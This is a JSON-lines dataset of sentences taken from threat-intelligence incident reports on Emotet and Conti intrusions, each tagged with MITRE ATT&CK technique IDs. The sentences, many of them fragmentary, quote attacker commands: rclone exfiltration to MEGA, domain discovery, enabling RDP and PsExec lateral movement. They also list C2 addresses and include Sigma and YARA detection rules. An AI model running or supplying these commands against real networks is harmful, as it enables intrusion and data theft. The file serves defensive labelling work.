\"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": true }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } Atera and Splashtop Threat actors used Atera and Splashtop remote access tools on two compromised hosts during the intrusion.", "labels": ["T1219"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Atera granted the threat actors with interactive access.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We cannot, however, confirm that the threat actors utilized this access because the majority of activity originated through the Cobalt Strike beacons.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Exfiltration The threat actors used Rclone to exfiltrate sensitive data to MEGA.io cloud storage.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Command line logging revealed the destination to be the Mega service and the network shares targeted.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "rclone.exe, copy, \\\\REDACTED\\Shares, mega:Shares, -q, --ignore-existing, --auto-confirm, --multi-thread-streams, 4, --transfers, 4 This activity was also visible on the network via Zeek logs showing the SMB share connection activity.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Actions on Objectives Emotet has for some time been used as an initial access broker for various intrusions; however, some Emotet infections get tasked with continuing the delivery of new campaigns.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "In this intrusion, we observed both tasks occurring during the same time with both the delivery of access to the threat actor utilizing Cobalt Strike and exfiltrating data from the network, all the while, the original Emotet malware was tasked to deliver new malicious emails.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The Emotet mailer started roughly once each day during the intrusion.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Marked by bursts of connection to various email servers.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The emails were sent through various compromised email accounts, propagating additional malicious xls files to further propagate Emotet access.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We did not see any further activity but we believe if given enough time, this would have ended with domain wide ransomware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We have a case coming up in a few weeks where it does exactly that.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Indicators File: info_1805.xls acd3d4e8f63f52eaf57467a76ca2389d", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "4a42b5e7e7fd43ddefc856f45bb95d97656ddca6 e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e 1.dll 27d0b9e38cdc9a31fa9271c0bbf5d393 e96980812c287c9d27be9181bcf08727cc9f457a 1b9c9e4ed6dab822b36e3716b1e8f046e92546554dff9bdbd18c822e18ab226b find.bat c96b2b5b52ef0013b841d136ddab0f49 22cc2bc032ae327de9f975e9122b692e4474ac15 5a5c601ede80d53e87e9ccb16b3b46f704e63ec7807e51f37929f65266158f4c p.bat adf2b487134ffcd7999e419318dfdf8d 91c54877440d14538be22d662e7f47e29ab219bf fd72a9313f8564b57ebd18791a438216d289d4a97df3f860f1fc585a001265d9 llJyMIOvft.dll e984f812689ec7af136a151a19b2d56c 88591ad3806c0a1e451c744d4942e99e9a5d2ff7 2b2e00ed89ce6898b9e58168488e72869f8e09f98fecb052143e15e98e5da9df UOmCgbXygCe.exe 592155bbbab05ac1f818cfd9eb53b672 82070d19c26e0f7e255168e1f2364174215aa0de f4c085ef1ba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4c1ed11c0d726b Network: Cobalt Strike: 59.95.98.204:8080http://59.95.98.204:8080/jquery-3.3.1.min.js Emotet: 103.8.26.17:8080 134.122.119.23:8080 54.38.143.246:7080 202.29.239.162:443 Detections Network Suricata rules: ET DROP Spamhaus DROP Listed Traffic Inbound group 13 ET CNC Feodo Tracker Reported CnC Server group 9 ET CNC Feodo Tracker Reported CnC Server group 12 ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 ET MALWARE Cobalt Strike Beacon Activity (GET) ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response ET MALWARE Cobalt Strike Activity (POST) ET CNC Feodo Tracker Reported CnC Server group 22 ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET CNC Feodo Tracker Reported CnC Server group 24 ET MALWARE W32/Emotet CnC Beacon 3 Sigma https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/ateraagent_malicious_installations.yml title: AteraAgent malicious installations id: fb0f2d48-269d-473e-9afc-c540a16a990f description: Detects potentially malicious AteraAgent installations when the IntegratorLogin parameter is used to register a non-business email.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "status: experimental date: 2022/09/12 author: '@kostastsale, @TheDFIRReport' logsource: category: process_creation product: windows detection: selection1: Image: - '*\\AteraAgent.exe' CommandLine|contains|all: - '/i ' - 'IntegratorLogin=' selection2: CommandLine|contains:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "# Feel free to modify the email addresses to fit your needs - '@gmail.com' - '@hotmail.com' - '@hotmail.com' - '@yandex.ru' - '@mail.ru' - '@outlook.com' - '@protonmail.com' - '@dropmail.me' condition: selection1 and selection2 falsepositives: - Unlikely level: high tags: - attack.execution - attack.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "T1059.006 https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rclone_smb_share_exfiltration.yml title: Rclone SMB Share Exfiltration id: 889bc648-5164-44f4-9388-fb5d6b58a7b2 status: Experimental description: Detection of a exfiltration activity using rclone from Windows network shares using SMB. author: \\@TheDFIRReport date: 2022/09/12 references: - https://thedfirreport.com/ logsource: product: zeek service: smb_files detection: selection: file_name|endswith: - '\\rclone.exe' condition: selection falsepositives: - Approved business backup processes.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "level: medium tags: - attack.exfiltration - attack.t567.002 https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/potential_smb_dll_lateral_movement.yml title: Potential SMB DLL Lateral Movement id: 8fe1524e-8c97-404c-9dee-090929a315c4 status: Experimental description: Detection of potential us of SMB to transfer DLL's into the ProgramData folder of hosts for purposes of lateral movement.", "labels": ["T1570"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "author: \\@TheDFIRReport date: 2022/09/12 references: - https://thedfirreport.com/ logsource: product: zeek service: smb_files detection: selection_1: file_name|contains: - 'programdata' selection_2: file_name|endswith: - '\\.dll' condition: selection_1 and selection_2 falsepositives: - RMM Tools and Administrative activities in ProgramData Folder. level: medium tags: - attack.lateral_movement - attack.t1570 Yara https://github.com/The-DFIR-Report/Yara-Rules/blob/main/case_14335.yar /* YARA Rule Set Author: The DFIR Report Date: 2022-09-12 Identifier:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Emotet Case 14335 Reference: https://thedfirreport.com */ /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "*/ import \"pe\" rule llJyMIOvft_14335 { meta: description = \"llJyMIOvft.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = 2022-09-12\" hash1 = \"2b2e00ed89ce6898b9e58168488e72869f8e09f98fecb052143e15e98e5da9df\" strings: $s1 = \"Project1.dll\" fullword ascii $s2 = \"!>v:\\\"6;\" fullword ascii $s3 = \"y6./XoFz_6fw%r:6*\" fullword ascii $s4 = \"u3!RuF%OR_O*^$nw7&<assembly xmlns=\\\"urn:schemas-microsoft-com:asm.v1\\\" manifestVersion=\\\"1.0\\\">\" fullword ascii $s5 = \"*/B+ n\" fullword ascii $s6 = \"ZnwFY66\" fullword ascii $s7 = \"1!f%G%w\" fullword ascii $s8 = \"QKMaXCL6\" fullword ascii $s9 = \"IMaRlh9\" fullword ascii $s10 = \"_BZRDe'7&7<<!{nBLU\" fullword ascii $s11 = \"lw7\\\"668!qZNL_EIS7IiMa\" fullword ascii $s12 = \"IS6\\\\JMtdHh0Piw2/PuH\" fullword ascii $s13 = \"iw#!RuF%OR__*^$nw76668!qZNL_EYS7I\" fullword ascii $s14 = \".RuF%LR__*^$\" fullword ascii $s15 = \"^<_EHJ3IPLPeZX0Phg7!BAK%_\" fullword ascii $s16 = \"ilG8Rn\\\"2OIkY*E%zw'v669(pZGn_EH_6IE\" fullword ascii $s17 = \"ilg7Rnr0OI^]*JTnw6\\\"76<\" fullword ascii $s18 = \"Broken pipe\" fullword ascii /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 742 times */ $s19 = \"Permission denied\" fullword ascii /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 823 times */ $s20 = \"v)(Ro\\\">OHkU*D%xw9\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 3000KB and ( pe.imphash() == \"066c972d2129d0e167d371a0abfcf03b\" and ( pe.exports(\"YAeJyEAYL7F4eDck6YUaf\") and pe.exports(\"fmFkmnQYB5TC2Sq5NGFkK\") and pe.exports(\"nrDjhnkd9nedaQwcCY\") ) or 12 of them ) } rule UOmCgbXygCe_14335 { meta:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "description = \"UOmCgbXygCe.exe\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"f4c085ef1ba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4c1ed11c0d726b\" strings: $s1 = \"runsuite.log\" fullword ascii $s2 = \"AppPolicyGetProcessTerminationMethod\" fullword ascii $s3 = \"f73.exe\" fullword ascii $s4 = \"Processing test line %ld %s leaked %d\" fullword ascii $s5 = \"Internal error: xmlSchemaTypeFixup, complex type '%s': the <simpleContent><restriction> is missing a <simpleType> child, but was\" ascii $s6 = \"The target namespace of the included/redefined schema '%s' has to be absent or the same as the including/redefining schema's tar\" ascii $s7 = \"The target namespace of the included/redefined schema '%s' has to be absent, since the including/redefining schema has no target\" ascii $s8 = \"A <simpleType> is expected among the children of <restriction>, if <simpleContent> is used and the base type '%s' is a complex t\" ascii $s9 = \"there is at least one entity reference in the node-tree currently being validated.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Processing of entities with this XML Schema p\" ascii $s10 = \"## %s test suite for Schemas version %s\" fullword ascii $s11 = \"Internal error: %s, \" fullword ascii $s12 = \"If <simpleContent> and <restriction> is used, the base type must be a simple type or a complex type with mixed content and parti\" ascii $s13 = \"For a string to be a valid default, the type definition must be a simple type or a complex type with simple content or mixed con\" ascii $s14 = \"For a string to be a valid default, the type definition must be a simple type or a complex type with mixed content and a particl\" ascii $s15 = \"Could not open the log file, running in verbose mode\" fullword ascii $s16 = \"not validating will not read content for PE entity %s\" fullword ascii $s17 = \"Skipping import of schema located at '%s' for the namespace '%s', since this namespace was already imported with the schema loca\" ascii $s18 = \"(annotation?, (simpleContent | complexContent | ((group | all | choice | sequence)?", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": ", ((attribute | attributeGroup)", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "*, anyAttribut\" ascii $s19 = \"get namespace\" fullword ascii $s20 = \"instance %s fails to parse\" fullword ascii condition: uint16(0) == 0x5a4d and filesize <", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "7000KB and ( pe.imphash() == \"bcf185f1308ffd9e4249849d206d9d0c\" and pe.exports(\"xmlEscapeFormatString\") or 12 of them ) } rule info_1805_14335 { meta: description = \"info_1805.xls\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e\" strings: $s1 = \"32.exe\" fullword ascii $s2 = \"System32\\\\X\" fullword ascii $s3 = \"DocumentOwnerPassword\" fullword wide $s4 = \"DocumentUserPassword\" fullword wide $s5 = \"t\\\"&\\\"t\\\"&\\\"p\\\"&\\\"s:\\\"&\\\"//lo\\\"&\\\"pe\\\"&\\\"sp\\\"&\\\"ub\\\"&\\\"li\\\"&\\\"ci\\\"&\\\"da\\\"&\\\"de.c\\\"&\\\"o\\\"&\\\"m/cgi-bin/e\\\"&\\\"5R\\\"&\\\"5o\\\"&\\\"G4\\\"&\\\"\" ascii $s6 = \"UniresDLL\" fullword ascii $s7 = \"OEOGAJPGJPAG\" fullword ascii $s8 = \"\\\\Windows\\\\\" fullword ascii $s9 = \"_-* #,##0.00_-;\\\\-* #,##0.00_-;_-* \\\"-\\\"??_-;[email protected]_-\" fullword ascii $s10 = \"_-* #,##0_-;\\\\-* #,##0_-;_-* \\\"-\\\"_-;[email protected]_-\" fullword ascii $s11 = \"_-;_-*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "\\\"\" fullword ascii $s12 = \"^{)P -z)\"", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "fullword ascii $s13 = \"ResOption1\" fullword ascii $s14 = \"DocumentSummaryInformation\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 41 times */ $s15 = \"Root Entry\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 46 times */ $s16 = \"SummaryInformation\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 50 times */ $s17 = \"A\\\",\\\"JJCCBB\\\"\" fullword ascii $s18 = \"Excel 4.0\" fullword ascii $s19 = \"Microsoft Print to PDF\" fullword wide $s20 = \"\\\"_-;\\\\-* #,##0.00\\\\ \\\"\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 1 times */ condition: uint16(0) == 0xcfd0 and filesize < 200KB and all of them } rule cobalt_strike_14435_dll_1 { meta: description = \"1.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"1b9c9e4ed6dab822b36e3716b1e8f046e92546554dff9bdbd18c822e18ab226b\" strings: $s1 = \"curity><requestedPrivileges><requestedExecutionLevel level=\\\"asInvoker\\\" uiAccess=\\\"false\\\"></requestedExecutionLevel></requeste\" ascii $s2 = \"CDNS Project.dll\" fullword ascii $s3 = \"hemas.microsoft.com/SMI/2005/WindowsSettings\\\">true</dpiAware></windowsSettings></application></assembly>\" fullword ascii $s4 = \"Hostname to lookup:\" fullword wide $s5 = \"Hostnames:\" fullword wide $s6 = \"wOshV- D3\\\"[email protected] \\\\\" fullword ascii $s7 = \"T4jk{zrvG#@KRO* d'z\" fullword ascii $s8 = \"CDNS Project Version 1.0\" fullword wide $s9 = \"zK$%S.cPO>rtW\" fullword ascii $s10 = \"vOsh.HSDiXRI\" fullword ascii $s11 = \"l4p.oZewOsh7zP\" fullword ascii $s12 = \"5p2o.ewOsh7H\" fullword ascii $s13 = \"h7H.DiX\" fullword ascii $s14 = \"l4pWo.ewOsh[H%DiXRI\" fullword ascii $s15 = \"rEWS).lpp~o\" fullword ascii $s16 = \",m}_lOG\" fullword ascii $s17 = \"<assembly xmlns=\\\"urn:schemas-microsoft-com:asm.v1\\\" manifestVersion=\\\"1.0\\\"><trustInfo xmlns=\\\"urn:schemas-microsoft-com:asm.v3\" ascii $s18 = \"vileges></security></trustInfo><application xmlns=\\\"urn:schemas-microsoft-com:asm.v3\\\"><windowsSettings><dpiAware xmlns=\\\"http:/\" ascii $s19 = \"tn9- 2\" fullword ascii $s20 = \"PDiXRI7\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 8000KB and ( pe.imphash() == \"d1aef4e37a548a43a95d44bd2f8c0afc\" or 8 of them ) } rule cobalt_strike_14435_dll_2 { meta: description = \"32.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"76bfb4a73dc0d3f382d3877a83ce62b50828f713744659bb21c30569d368caf8\" strings: $x1 = \"mail glide drooping dismiss collation production mm refresh murderer start parade subscription accident retorted carter stalls r\" ascii $s2 = \"vlu405yd87.dll\" fullword ascii $s3 = \"XYVZSWWVU\" fullword ascii /* base64 encoded string 'aVRYeT' */ $s4 = \"ZYWVWSXVT\" fullword ascii /* base64 encoded string 'aeVIuS' */ $s5 = \"WXVZTVVUVX\" fullword ascii /* base64 encoded string 'YuYMUTU' */ $s6 = \"ZYXZXSWZW\" fullword ascii /* base64 encoded string 'avWIfV' */ $s7 = \"SZWVSZTVU\" fullword ascii /* base64 encoded string 'eeRe5T' */ $s8 = \"VXVWUWVZYY\" fullword ascii /* base64 encoded string 'UuVQeYa' */ $s9 = \"VSXZZYSVU\" fullword ascii /* base64 encoded string 'IvYa%T' */ $s10 = \"VXUZUVWVU\" fullword ascii /* base64 encoded string ']FTUeT' */ $s11 = \"SVVZZXZUVW\" fullword ascii /* base64 encoded string 'IUYevTU' */ $s12 = \"USVZVSWVZ\" fullword ascii /* base64 encoded string 'IVUIeY' */ $s13 = \"SWVVTVSVWWXZZVVV\" fullword ascii /* base64 encoded string 'YUSU%VYvYUU' */ $s14 = \"VSXVUXXZS\" fullword ascii /* base64 encoded string 'IuT]vR' */ $s15 = \"WSVZYWZWWW\" fullword ascii /* base64 encoded string 'Y%YafVY' */ $s16 = \"XUSZXXVVW\" fullword ascii /* base64 encoded string 'Q&W]UV' */ $s17 = \"ZWZWZVZWWWZ\" fullword ascii /* base64 encoded string 'efVeVVYf' */ $s18 = \"STZVYVVZYS\" fullword ascii /* base64 encoded string 'I6UaUYa' */ $s19 = \"ZWZWYSZXUZ\" fullword ascii /* base64 encoded string 'efVa&WQ' */ $s20 = \"SVVWWVVVWW\" fullword ascii /* base64 encoded string 'IUVYUUY' */ condition: uint16(0) == 0x5a4d and filesize < 2000KB and ( pe.imphash() == \"4e03b8b675969416fb0d10e8ab11f7c2\" or ( 1 of ($x*) or 12 of them ) ) } rule find_bat_14335 { meta: description = \"Find.bat using AdFind\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"5bc00ad792d4ddac7d8568f98a717caff9d5ef389ed355a15b892cc10ab2887b\" strings: $x1 = \"find.exe\" nocase wide ascii $s1 = \"objectcategory\" nocase wide ascii $s2 = \"person\" nocase wide ascii $s3 = \"computer\" nocase wide ascii $s4 = \"organizationalUnit\" nocase wide ascii $s5 = \"trustdmp\" nocase wide ascii condition: filesize < 1000 and 1 of ($x*) and 4 of ($s*) } rule adfind_14335 { meta: description = \"Find.bat using AdFind\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682\" strings: $x1 = \"joeware.net\" nocase wide ascii $s1 = \"xx.cpp\" nocase wide ascii $s2 = \"xxtype.cpp\" nocase wide ascii $s3 = \"Joe Richards\" nocase wide ascii $s4 = \"RFC 2253\" nocase wide ascii $s5 = \"RFC 2254\" nocase wide ascii condition: uint16(0) == 0x5a4d and filesize < 2000KB and 1 of ($x*) or 4 of ($s*) } rule p_bat_14335 { meta: description = \"Finding bat files that is used for enumeration\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" strings: $a1 = \"for /f", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "%%i in\" nocase wide ascii $a2 = \"do ping", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "%%i\" nocase wide ascii $a3 = \"-n 1 >>\" nocase wide ascii $a4 = \"res.txt\" nocase wide ascii condition: filesize < 2000KB and all of ($a*)} MITRE Dynamic-link Library Injection - T1055.001 Component Object Model - T1559.001 PowerShell - T1059.001 Regsvr32 - T1218.010 Pass the Hash - T1550.002 Domain Groups - T1069.002 Domain Account - T1087.002 Domain Trust Discovery - T1482 Malicious File - T1204.002 SMB/Windows Admin Shares - T1021.002 Lateral Tool Transfer - T1570 Process Injection - T1055 Exfiltration to Cloud Storage - T1567.002 Thread Execution Hijacking - T1055.003 Remote System Discovery - T1018 System Information Discovery - T1082 Application Layer Protocol - T1071 Network Share Discovery - T1135 Kerberoasting - T1558.003 LSASS Memory - T1003.001 Registry Run Keys / Startup Folder - T1547.001 Phishing - T1566 Spearphishing Attachment - T1566.001 Internal case #14335", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Introduction First seen in May 2020, Conti ransomware has quickly become one of the most common ransomware variants, according to Coveware.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "As per Coveware’s Quarterly Ransomware Report (Q1 2021), Conti has the 2nd highest market share after Sodinokibi, which we wrote about here.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "In April, we saw a threat actor go from an initial IcedID infection to deploying Conti ransomware domain wide in two days and 11 hours.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actors stayed dormant for most of this time, before jumping into action on an early Saturday morning.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The hands on keyboard activity lasted for two and a half hours.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "They utilized RDP, PsExec, and Cobalt Strike to move laterally within the environment before executing Conti in memory across all active systems.", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"}
{"sentence": "Summary We assess with moderate confidence that the initial vector used by the threat actor was a zip file, which included a malicious JavaScript file, delivered through a phishing campaign.", "labels": ["T1566.001"], "doc_title": "Conti Ransomware"}
{"sentence": "The JavaScript file would eventually download and execute the IcedID malware.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Discovered in 2017, what started as a commodity malware is now currently being deployed as an initial access broker by ransomware threat actors.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "While there was some initial discovery activity from the IcedID malware, it went quiet, just beaconing to command and control but not performing any other activity.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "After being dormant for over two days, a Cobalt Strike Beacon was dropped and executed on the system infected with IcedID.", "labels": ["T1105"], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actors then ran another round of discovery activity with native windows utilities such as nltest.exe, whoami.exe, and net.exe.", "labels": ["T1033", "T1059.003"], "doc_title": "Conti Ransomware"}
{"sentence": "They then successfully escalated to SYSTEM privileges via Cobalt Strike’s built-in “named pipe impersonation” (GetSystem) functionality.", "labels": ["T1570"], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actors continued by moving laterally to the domain controllers on the network using SMB to transfer and execute a Cobalt Strike Beacon.", "labels": ["T1570"], "doc_title": "Conti Ransomware"}
{"sentence": "During that time, we observed port scanning activity from one of the domain controllers, to identify open ports such as SSH, SMB, MSSQL, RDP and WinRM.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "After a brief gap of 15 minutes, the threat actors used PsExec, to copy and execute a Cobalt Strike Beacon DLL on most of the systems in the network.", "labels": ["T1570"], "doc_title": "Conti Ransomware"}
{"sentence": "Later in the attack, the threat actor was seen establishing RDP connections from the beachhead host to the domain controller and other systems throughout the environment.", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"}
{"sentence": "This RDP activity was being proxied through the IcedID process running on that host, to a remote proxy over port 8080.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "To establish persistence, the attackers created a new local user on one of the domain controllers and added it to the Administrators group.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Additionally, in an effort to evade any detection and prevention mechanisms, they disabled Windows Defender via a group policy modification.", "labels": ["T1484.001", "T1562.001"], "doc_title": "Conti Ransomware"}
{"sentence": "Within two and a half hours of Cobalt Strike showing up in the environment and just over two days after the initial IcedID infection, the threat actors completed their objective of encrypting all systems.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Conti was executed in memory with the help of the Cobalt Strike Beacons domain wide.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The ransomware note left by the infection included a link to their Tor site for further details.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "After further review of the environment (post encryption), we realized multiple systems (including a domain controller) were unable to be accessed and would not have been restorable even if the ransom had been paid.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Services We offer multiple services including a Threat Feed service which tracks Cobalt Strike, Metasploit, Empire, PoshC2, etc.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "We also have artifacts available from this case such as pcaps, memory captures, files, Kape packages, and more, under our Security Researcher and Organization services.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Timeline Analysis and reporting completed by @pigerlin, @MetallicHack, @yatinwad, and 1 unnamed contributor.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Reviewed by @kostastsale, @RoxpinTeddy, and @TheDFIRReport MITRE ATT&CK Initial Access The IcedID DLL that we executed was most likely dropped through a zip file, which included a JavaScript file within it.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Brad had a few posts about these around the time of this intrusion.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "1 2 Thanks Brad!", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Various attributes including the computer name and the OS version of the compromised system were sent through encoded cookie values.", "labels": ["T1082"], "doc_title": "Conti Ransomware"}
{"sentence": "IcedID was executed via rundll32.exe and ran command and control over port 443 for the duration of the intrusion.", "labels": ["T1218.011"], "doc_title": "Conti Ransomware"}
{"sentence": "rundll32.exe \"C:\\Users\\REDACTED\\AppData\\Local\\Temp\\rate_x32.dat\",update /i:\"LaborBetray\\license.dat\" Discovery IcedID ran initial discovery after being executed on the beachhead.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Various commands were executed to gather more information about the compromised environment; including the currently logged on user, domain trusts, groups, etc .", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "ipconfig /allsysteminfowhoami", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "/groupsnet config workstation nltest /domain_trusts nltest /domain_trusts /all_trustsnet view /all", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "/domainnet view /allnew group \"Domain Admins\" /domain", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Additional discovery commands were executed by Cobalt Strike.", "labels": ["T1033", "T1059.003"], "doc_title": "Conti Ransomware"}
{"sentence": "whoami /groupscmd.exe /C query sessioncmd.exe /C", "labels": ["T1033"], "doc_title": "Conti Ransomware"}
{"sentence": "dir %HOMEDRIVE%%HOMEPATH%cmd.exe /C", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "nltest /domain_trustscmd.exe", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "/C", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "nltest /dclist:cmd.exe /C", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "net group \"Enterprise admins\" /domaincmd.exe /C", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "net group \"Domain admins\" /domain", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "After moving laterally to a domain controller, they began looking for what networks were present in the environment using dsquery.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "cmd.exe /C dsquery subnet -limit 0 Shortly thereafter, port scanning was observed coming from a domain controller looking for common ports (such as SSH, SMB, MSSQL, WinRM and RDP, etc.)", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "on systems residing in the same subnet.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Privilege Escalation", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "In order to obtain SYSTEM level privileges, Cobalt Strike’s built-in named piped impersonation (GetSystem) was used: Image: “C:\\Windows\\System32\\cmd.exe” CommandLine: “C:\\Windows\\system32\\cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Conti Ransomware"}
{"sentence": "echo 4d64fbbbf34 > \\\\. \\pipe\\b4312c” ParentImage: “C:\\Windows\\System32\\runonce.exe” ParentCommandLine: “C:\\Windows\\system32\\runonce.exe Lateral Movement The threat actor began lateral movement using remote execution of Cobalt Strike Beacon service binaries.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Image: C:\\Windows\\system32\\services.exe TargetObject: HKLM\\System\\CurrentControlSet\\Services\\d8d6deb\\ImagePath Details: \\\\HOSTNAME\\ADMIN$\\d8d6deb.exe After this initial activity, Cobalt Strike was used to enable RDP, and allow it through the firewall, on the domain controllers.", "labels": ["T1021.001", "T1059.003", "T1112"], "doc_title": "Conti Ransomware"}
{"sentence": "reg add \"hklm\\system\\currentControlSet\\Control\\Terminal Server\" /v", "labels": ["T1112"], "doc_title": "Conti Ransomware"}
{"sentence": "\"fDenyTSConnections\" /t", "labels": ["T1112"], "doc_title": "Conti Ransomware"}
{"sentence": "0x0 /f cmd.exe /C netsh firewall set service type = remotedesktop mode = enable cmd.exe /C netsh firewall set rule group=\"remote desktop\" new enable=Yes cmd.exe /C netsh advfirewall set rule group=\"remote desktop\" new enable=Yes Following this, the threat actors then copied a Cobalt Strike Beacon DLL to the ADMIN$ share; and then, distributed it throughout the environment using PsExec. cmd.exe /C", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"}
{"sentence": "copy 192145.dll \\\\<INTERNAL_IP>\\ADMIN$ /Y /Z", "labels": [], "doc_title": "Conti Ransomware"}
